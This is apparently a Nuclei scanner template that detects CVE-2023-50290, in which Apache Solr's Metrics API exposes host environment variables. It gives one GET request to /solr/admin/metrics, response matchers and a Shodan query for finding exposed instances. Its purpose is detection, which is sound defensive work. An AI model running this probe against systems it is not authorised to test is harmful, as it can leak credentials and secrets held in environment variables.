id: CVE-2023-50290

info:
  name: Apache Solr - Host Environment Variables Leak via Metrics API
  author: Banana69,DhiyaneshDK
  severity: medium
  description: |
    Exposure of Sensitive Information to an Unauthorized Actor Vulnerability in Apache Solr.
    The Solr Metrics API publishes all unprotected environment variables available to each Apache Solr instance. Users can specify which environment variables to hide, however, the default list is designed to work for known secret Java system properties. Environment variables cannot be strictly defined in Solr, like Java system properties can be, and may be set for the entire host,unlike Java system properties which are set per-Java-proccess.
  impact: |
    This vulnerability can lead to the exposure of sensitive information, potentially allowing an attacker to gain unauthorized access or perform further attacks.
  remediation: Users are recommended to upgrade to version 9.3.0 or later, in which environment variables are not published via the Metrics API.
  reference:
    - https://solr.apache.org/security.html#cve-2023-50290-apache-solr-allows-read-access-to-host-environment-variables
    - https://x.com/sirifu4k1/status/1746755165066236216?s=20
    - https://nvd.nist.gov/vuln/detail/CVE-2023-50290
    - https://github.com/wy876/POC
    - https://github.com/wy876/wiki
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2023-50290
    cwe-id: CWE-200,NVD-CWE-noinfo
    epss-score: 0.05452
    epss-percentile: 0.92995
    cpe: cpe:2.3:a:apache:solr:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: apache
    product: solr
    shodan-query: "title:\"Apache Solr\""
  tags: cve,cve2023,apache,solr,exposure

http:
  - method: GET
    path:
      - "{{BaseURL}}/solr/admin/metrics"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"responseHeader":'
          - '"solr.jetty":'
          - 'system.env'
        condition: and

      - type: word
        part: header
        words:
          - 'application/json'

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100ab90dd8cf4551a04f3e326cc482e51353c3f2f56a1df3d185a4c5339cb15443302205dca7fcd5ff9fe5fe740d2681a563cebd4075d41d70f97abad4c7d2ae2e4f160:922c64590222798bb761d5b6d8e72950